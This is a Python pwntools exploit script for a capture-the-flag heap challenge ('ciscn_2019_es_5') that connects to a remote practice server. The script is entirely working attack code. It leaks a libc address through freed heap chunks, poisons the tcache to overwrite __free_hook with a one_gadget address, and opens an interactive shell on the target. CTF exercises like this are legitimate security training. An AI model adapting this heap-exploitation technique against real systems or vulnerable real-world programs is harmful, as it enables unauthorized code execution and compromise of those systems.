from pwn import *

#p=process('./ciscn_2019_es_5')
p=remote('node3.buuoj.cn',29806)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
text='choice:'
def create(size,content):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?>')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def edit(idx):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(idx))


create(0x4f0,p64(0)*3+p64(0x500)+b'\x00')#0
create(0x68,'p')#1
#leak libc
free(0)
create(0,'')#0
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']-0x430
one=0x4f322+libc.address
edit(0)
free(0)
free_hook=libc.symbols['__free_hook']
create(0x18,p64(free_hook)+p64(0))
create(0x18,p64(one))
free(1)
print('libc_base==>'+hex(libc.address))



#gdb.attach(p)
p.interactive()